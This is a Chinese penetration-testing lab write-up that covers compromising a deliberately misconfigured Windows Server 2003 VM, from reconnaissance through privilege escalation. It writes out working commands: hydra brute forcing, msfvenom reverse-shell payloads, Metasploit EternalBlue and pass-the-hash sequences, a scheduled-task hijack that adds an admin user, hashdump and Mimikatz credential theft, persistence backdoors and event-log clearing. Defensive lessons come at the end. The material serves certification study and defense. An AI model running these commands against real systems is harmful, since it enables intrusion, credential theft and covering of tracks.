Windows Server 2003渗透测试实战:从信息收集到权限提升
1. 项目概述一次经典的Windows Server 2003渗透实战复盘最近在整理CISP-PTE认证的实战笔记发现很多朋友对老系统环境下的渗透测试既好奇又有点无从下手。Windows Server 2003这个在十几年前叱咤风云的服务器操作系统如今在现实中依然可能存在于一些老旧的内网、特定行业的遗留系统中。针对它的渗透测试不仅是CISP-PTE等认证考试中的经典场景更是理解现代攻击技术演变和基础安全原理的绝佳“活化石”。这次我就以一次完整的Windows 2003靶机渗透与权限提升过程为例拆解其中的核心思路、技术细节和那些容易踩坑的环节。整个过程不依赖任何花哨的0day纯粹利用其默认配置和经典漏洞非常适合用来夯实渗透测试的基础功。无论你是正在备考CISP-PTE还是想系统性地了解内网渗透的入门路径这篇实战复盘都能提供一条清晰的、可复现的路线图。2. 环境搭建与信息收集奠定渗透的基石渗透测试的第一步永远是“看清目标”。对于Windows Server 2003这样的老系统信息收集的侧重点与现代系统略有不同很多默认开启的、在现代系统中已被禁用的服务恰恰是我们的突破口。2.1 靶机环境准备与网络配置我使用的靶机是一台安装在VMware Workstation上的Windows Server 2003 Standard Edition SP2。选择SP2是因为它更常见且包含了大量可被利用的经典漏洞。为了模拟真实环境我将靶机和攻击机Kali Linux置于同一个仅主机模式Host-Only的虚拟网络中确保网络隔离避免对外部造成影响。注意强烈建议在完全隔离的虚拟化环境中进行所有渗透测试操作。切勿对未经授权的任何系统进行测试这是法律和道德的底线。在靶机配置上我做了几项关键设置以模拟一个“配置疏忽”的典型老旧服务器关闭Windows防火墙这是很多老旧服务器管理员的常见操作为了“省事”。启用经典服务开启了IIS 6.0Web服务、FTP服务、Telnet服务是的2003默认可能安装以及最重要的——NetBIOS over TCP/IP和SMB 1.0支持。这些服务在现代Windows中默认关闭或弱化但在2003时代是广泛开启的。创建弱口令账户除了默认的Administrator账户我额外创建了一个普通用户账户webadmin密码设置为Password123用于模拟权限提升的起点。攻击机方面我使用Kali Linux 2024.1它集成了我们所需的所有工具。确保攻击机能与靶机互相ping通是后续所有步骤的前提。2.2 系统与端口扫描发现开放的入口信息收集从最基础的网络扫描开始。我首先使用nmap进行全端口扫描以发现靶机上所有开放的服务。nmap -sS -sV -O -p- 192.168.233.129这条命令结合了SYN扫描-sS、服务版本探测-sV和操作系统探测-O并对所有端口-p-进行扫描。扫描结果是我们渗透的“地图”PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 80/tcp open http Microsoft IIS httpd 6.0 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2003 SP2 microsoft-ds 3389/tcp open ms-wbt-server Microsoft Terminal Services MAC Address: 00:0C:29:XX:XX:XX (VMware) Device type: general purpose Running: Microsoft Windows 2003|XP这个结果信息量巨大21/tcp (FTP)文件传输端口。如果允许匿名登录或存在弱口令可能直接获取文件上传权限。80/tcp (HTTP - IIS 6.0)Web服务器。IIS 6.0本身存在一些已知漏洞如解析漏洞是Web渗透的重点。139/tcp 445/tcp (NetBIOS/SMB)这是Windows文件共享和远程管理的核心协议。对于权限提升至关重要我们可以通过它枚举用户、共享目录并尝试各种攻击。3389/tcp (RDP)远程桌面。如果我们能获取到凭证就可以直接图形化登录。操作系统识别nmap准确地识别出这是Windows Server 2003 SP2这直接指引了我们后续漏洞利用的方向。2.3 服务深度枚举与漏洞初探有了端口列表接下来需要对关键服务进行深度枚举。针对SMB服务445端口我使用enum4linux这个专门针对Windows/Samba枚举的工具它可以高效地获取用户列表、共享列表、组策略等信息。enum4linux -a 192.168.233.129在输出中我重点关注到了以下几点用户列表成功枚举出Administrator、Guest、IUSR_XXXXIIS匿名用户、IWAM_XXXXIIS应用程序池用户以及我创建的webadmin用户。获取用户名是爆破或密码喷洒攻击的前提。共享列表发现了默认共享C$、ADMIN$以及一个名为WebShare的非默认共享。C$和ADMIN$通常需要管理员权限才能访问但WebShare可能权限设置更宽松。空会话Null Sessionenum4linux尝试了空会话连接。在Windows 2003的默认配置下空会话往往能读取到大量信息这是一个严重的安全隐患。针对IIS 6.080端口我使用浏览器访问并配合dirb或gobuster进行目录爆破。gobuster dir -u http://192.168.233.129 -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx,html发现了一个简单的企业门户首页以及/upload、/admin等目录。/admin目录返回403禁止访问说明存在后台管理界面。同时我手动测试了IIS 6.0的经典漏洞例如尝试访问http://192.168.233.129/test.asp;.jpg看是否存在解析漏洞将.asp;.jpg文件当作.asp执行但靶机环境并未配置存在此漏洞的Web应用。3. 初始访问获取从外围到立足点信息收集完成后我们需要找到一个薄弱点拿到第一个“立足点”即获得一个初始的shell或执行权限。3.1 FTP弱口令爆破与文件上传首先尝试的是FTP服务。使用hydra进行密码爆破hydra -l webadmin -P /usr/share/wordlists/rockyou.txt ftp://192.168.233.129 -t 4很快hydra成功爆破出密码Password123。通过FTP登录后我发现WebShare共享目录实际上映射的就是FTP的根目录。这意味着如果我能通过FTP上传一个Web Shell到某个Web可访问的目录就可能获得一个Web权限的shell。我使用msfvenom生成一个简单的ASP一句话木马因为IIS 6.0原生支持ASPmsfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.233.128 LPORT4444 -f asp shell.asp然后通过FTP上传到根目录。接着我需要找到这个文件的Web访问路径。通过之前的目录扫描我发现http://192.168.233.129/images/目录是存在的。我假设FTP根目录可能对应Web根目录的某个子目录但经过测试直接访问http://192.168.233.129/shell.asp或http://192.168.233.129/images/shell.asp均返回404。这说明FTP目录和Web目录并不重合此路暂时不通。3.2 SMB共享访问与信息泄露既然FTP上传的Web Shell无法直接访问我转向SMB共享。使用刚才爆破得到的webadmin:Password123凭证尝试连接SMB共享。smbclient //192.168.233.129/WebShare -U webadmin%Password123连接成功我浏览了共享中的文件发现了一些公司文档、日志文件甚至还有一个config.ini文件。下载查看后里面竟然明文存储着另一个服务一个自定义后台管理系统的数据库连接字符串其中包含了数据库用户名和密码。这是一个典型的信息泄露漏洞。我尝试用这个数据库密码去碰撞webadmin和Administrator的密码但并未成功。不过这个发现的价值在于它揭示了系统管理员可能存在“密码复用”的习惯这个密码可以作为后续其他暴力破解的字典素材。3.3 利用MS17-010永恒之蓝漏洞获取系统权限在尝试了Web和SMB常规攻击未果后我将目光投向了系统级漏洞。Windows Server 2003 SP2是一个早已停止支持的系统存在大量未修补的高危漏洞。其中最著名的莫过于MS17-010即“永恒之蓝”漏洞。虽然这个漏洞通常与Windows 7/Server 2008 R2及更早系统关联但经过特定修改的利用模块也能适用于Windows Server 2003。我使用nmap的NSE脚本进行漏洞检测nmap --script smb-vuln-ms17-010 192.168.233.129脚本返回确认该主机存在MS17-010漏洞。这是一个绝佳的机会。我启动Metasploit框架使用对应的攻击模块msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.233.129 set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.233.128 set LPORT 5555 exploit实操心得在针对Windows 2003使用永恒之蓝模块时有几点需要注意。一是目标系统是32位还是64位我这里是32位系统但某些修改后的模块或payload可能需要适配。如果默认的windows/x64/meterpreter/reverse_tcp失败可以尝试windows/meterpreter/reverse_tcp。二是防火墙虽然我们关闭了但如果遇到问题需要确认139/445端口确实可访问。三是靶机的稳定性该漏洞利用可能导致目标系统蓝屏崩溃在测试环境中要做好快照备份。执行exploit后经过短暂的等待我成功获得了返回的meterpreter会话输入sessions -i 1进入会话执行getuid显示当前权限是NT AUTHORITY\SYSTEM。这意味着我绕过了所有前端应用直接通过系统底层漏洞获得了最高权限。至此初始访问阶段完成并且直接完成了权限提升拿到了系统控制权。4. 权限提升的深入探索即便已是SYSTEM虽然通过MS17-010已经拿到了SYSTEM权限但在真实的渗透测试或CISP-PTE考核中考官可能更希望看到你通过系统配置错误、服务漏洞等路径进行提权。此外掌握多种提权方法也至关重要。因此我假设刚才的漏洞利用失败我们只拿到了一个普通用户webadmin的shell例如通过一个成功的Web Shell然后从这个低权限起点开始提权。4.1 本地信息收集与枚举在低权限shell中第一件事是全面收集系统信息寻找提权线索。在meterpreter会话中可以运行以下命令如果是在普通cmd下也有对应的命令# 查看系统信息 sysinfo # 查看所有用户和组 net user net localgroup administrators # 查看网络配置 ipconfig /all route print # 查看进程列表 ps # 查看安装的软件、补丁 wmic product get name,version wmic qfe get Caption,Description,HotFixID,InstalledOn # 查看计划任务 schtasks /query /fo LIST /v # 查看启动项 wmic startup get caption,command通过分析这些信息我发现了几个关键点补丁情况系统只安装了少量早期补丁大量KB编号缺失证实了漏洞百出的状态。运行的服务发现运行着Serv-U FTP Server一个第三方FTP软件的旧版本该软件历史上存在多个提权漏洞。计划任务存在一个由系统账户运行的定时任务执行一个位于C:\Scripts\目录下的批处理文件log_cleanup.bat。普通用户webadmin对这个目录有写入权限这是一个经典的不安全的文件权限提权点。4.2 利用不安全的文件权限提权原理很简单系统定时以高权限如SYSTEM执行C:\Scripts\log_cleanup.bat。而webadmin用户对这个文件或所在目录有修改/写入权限。那么我就可以用恶意代码替换或修改这个批处理文件当下次定时任务执行时我的代码就会以高权限运行。具体操作如下在meterpreter中先切换到webadmin的会话如果是通过其他方式获得的webadmin的cmd shell则直接操作。检查C:\Scripts\目录的权限cacls C:\Scripts或icacls C:\Scripts。确认webadmin有(F)完全控制或(W)写入权限。备份原文件可选然后创建一个新的log_cleanup.bat文件内容为添加一个管理员用户的命令echo off net user hacker Pssw0rd123! /add net localgroup administrators hacker /add等待计划任务执行。可以通过查看计划任务的日志或直接查看用户列表来确认是否成功。更主动的方法是如果知道任务执行频率不高可以尝试重启相关服务或直接重启系统来触发某些启动项。注意事项这种方法成功率很高但需要耐心和准确的时机判断。在真实环境中修改系统文件可能触发防病毒软件。此外添加用户是最直接的方式也可以改为执行一个反弹shell的payload从而获得一个高权限的meterpreter会话。4.3 利用AlwaysInstallElevated提权Windows有一个策略设置允许任何用户以高权限安装MSI包。如果这个策略被启用将是一个严重的提权漏洞。我们可以检查注册表键值来判断在shell中执行reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated如果两者都返回0x1则表示启用。在本次靶机环境中该策略并未启用。但如果启用我们可以用msfvenom生成一个恶意的MSI安装包msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.233.128 LPORT6666 -f msi setup.msi然后上传到靶机任何用户只需运行msiexec /quiet /qn /i setup.msi就能以SYSTEM权限安装后门程序。4.4 利用可执行文件的路径劫持DLL Hijacking或服务漏洞这是更高级的提权方式。通过accesschk.exeSysInternals工具需上传或PowerShell脚本查找那些由高权限服务启动、但普通用户对其中某个DLL或可执行文件所在目录有写入权限的程序。例如发现一个以SYSTEM运行的服务VulnerableService.exe它试图从当前目录加载missing.dll。而服务的当前目录C:\Program Files\VulnService\权限配置错误webadmin可以写入。那么我们只需将一个恶意的missing.dll上传到该目录当服务重启时我们的DLL就会被加载从而获得SYSTEM权限。对于第三方服务漏洞如之前发现的旧版Serv-U则需要寻找对应的公开漏洞利用代码Exploit编译执行即可。5. 内网横向移动与权限维持在获得一台主机的系统权限后渗透测试的目标往往转向内网的其他机器。即使本次靶场只有一台机器掌握横向移动的思路也至关重要。5.1 凭证抓取与哈希传递在已经获得的SYSTEM权限meterpreter会话中我们可以轻松抓取内存中存储的密码哈希LM/NTLM。meterpreter hashdump或者使用更强大的Mimikatz通过load kiwimeterpreter load kiwi meterpreter creds_all假设我们抓取到了本地管理员Administrator的NTLM哈希例如aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0后面部分是空密码的哈希。在内网中如果其他机器使用了相同的本地管理员密码这是一种常见但不安全的做法我们就可以使用“哈希传递”攻击无需破解密码直接用这个哈希去验证其他主机。使用Metasploit的psexec模块但这次使用哈希而非密码use exploit/windows/smb/psexec set RHOSTS 192.168.233.130 # 假设内网另一台主机 set SMBUser Administrator set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 set payload windows/meterpreter/reverse_tcp set LHOST 192.168.233.128 set LPORT 7777 exploit5.2 端口转发与内网探测在控制了第一台主机跳板机后它可能处于内网中可以访问其他外部攻击机无法直接访问的网段。我们需要在跳板机上搭建一个“隧道”。在meterpreter中可以进行端口转发meterpreter portfwd add -L 0.0.0.0 -l 3389 -r 192.168.10.20 -p 3389这条命令将跳板机上对192.168.10.20:3389的访问转发到了攻击机的3389端口。这样攻击机就可以通过访问自己的127.0.0.1:3389来连接内网机器的远程桌面。同时可以上传arp-scan、nmap的Windows版本或者使用meterpreter的arp_scanner、run post/windows/gather/enum_shares等后渗透模块来探测内网存活主机和开放服务。5.3 权限维持后门与痕迹清理获得权限后需要留下后门以便再次访问并清理痕迹。创建后门用户我们已经通过批处理任务添加了hacker用户。更隐蔽的方式是激活默认禁用的Guest账户并将其加入管理员组或者创建一个用户名与现有系统用户相似如Adminstrator少个字母的隐藏账户。安装持久化后门Meterpreter持久化run persistence -X -i 60 -p 443 -r 攻击机IP它会创建计划任务定期连接。MSF生成后门服务使用msfvenom生成exe然后通过sc create创建为系统服务。启动项将后门程序路径写入注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run。清理日志在meterpreter中clearev命令可以清除Windows事件日志安全、系统、应用程序。但要注意在高度安全的环境中日志可能被实时发送到日志服务器本地清理无效。6. 常见问题、排查与防御思考在实际操作中绝不会总是一帆风顺。下面记录几个我踩过的坑和对应的排查思路。6.1 漏洞利用失败排查表问题现象可能原因排查步骤与解决方案MS17-010 exploit 不返回会话1. 目标系统已打补丁或版本不匹配。2. 防火墙或安全软件拦截。3. Payload 与系统架构不匹配x86 vs x64。4. 靶机不稳定崩溃。1. 用nmap --script smb-vuln-ms17-010复检。用systeminfo查看确切系统版本和补丁。2. 确认攻击机与靶机445端口连通性telnet。临时关闭靶机防火墙测试。3. 尝试不同的payload如generic/shell_reverse_tcp或非meterpreter的shell。4. 重启靶机使用更稳定的利用模块如ms17_010_psexec。上传的Web Shell无法访问1. 上传路径非Web根目录。2. 文件扩展名不被IIS解析。3. 目录无执行脚本权限。1. 通过信息收集寻找Web真实路径扫描、查看IIS配置、查找默认页路径。2. 尝试.asp,.aspx,.php等扩展名或利用IIS解析漏洞如.asp;.jpg。3. 在IIS管理器中检查目录的“执行权限”是否为“纯脚本”或“脚本和可执行文件”。SMB连接被拒绝1. 目标关闭了SMB1.0而攻击工具默认使用SMB1。2. 账户被锁定或密码错误。3. 网络策略限制。1. 在smbclient或Metasploit中指定使用SMB2/3协议如果目标支持。2. 使用enum4linux -u user -p pass先测试凭证有效性。注意账户锁定策略。3. 检查靶机“本地安全策略”中的“网络访问限制匿名访问SMB”等设置。提权用的批处理文件未执行1. 计划任务执行频率低未到时间。2. 任务执行账户权限不足。3. 文件编码或格式错误如UTF-8带BOM。1. 查看计划任务历史记录。尝试重启相关服务或系统。2. 使用icacls仔细检查文件及父目录的权限继承关系。3. 使用type命令查看文件内容确保是纯ANSI文本换行符为CRLF。6.2 从防御视角看本次渗透的启示作为渗透测试者理解攻击手段是为了更好地防御。回顾整个流程这台Windows Server 2003被攻陷根本原因在于系统老旧且未更新运行早已停止支持的OS且未安装任何安全补丁是最大的风险源。攻击面过大默认开启了FTP、Telnet、SMB等高风险服务且配置松懈弱口令、空会话、共享权限过宽。权限配置不当普通用户可修改高权限计划任务执行的脚本是典型的权限分离失败案例。安全基线缺失未启用或配置Windows防火墙未安装防病毒软件日志审计形同虚设。对应的防御建议清晰而直接升级与隔离将此类老旧系统尽快升级或替换。若必须使用应将其置于严格隔离的网络区域通过防火墙最小化开放端口。强化口令与访问控制实施强密码策略禁用默认账户定期审查用户和权限。关闭不必要的服务如Telnet、SMBv1。遵循最小权限原则确保任何服务、任务、用户都只拥有其完成工作所必需的最小权限。定期审计文件系统权限和计划任务。部署安全监控即使对老系统也应启用并集中收集安全日志监控异常登录、特权操作和敏感文件修改。这次针对Windows Server 2003的渗透测试实战像一次对网络安全历史的回溯。它清晰地展示了即使没有复杂的0day仅凭系统默认的“弱点”和常见的管理疏忽攻击者也能长驱直入。对于学习者而言关键在于理解每一步背后的原理为什么这个端口开放是危险的为什么这个配置会导致提权掌握了这些“为什么”你才能在现代更复杂的防御体系中灵活地运用和组合各种技术真正提升渗透测试的能力。在CISP-PTE的考核中对这类基础而经典的漏洞利用的熟练掌握往往是区分合格与优秀的关键。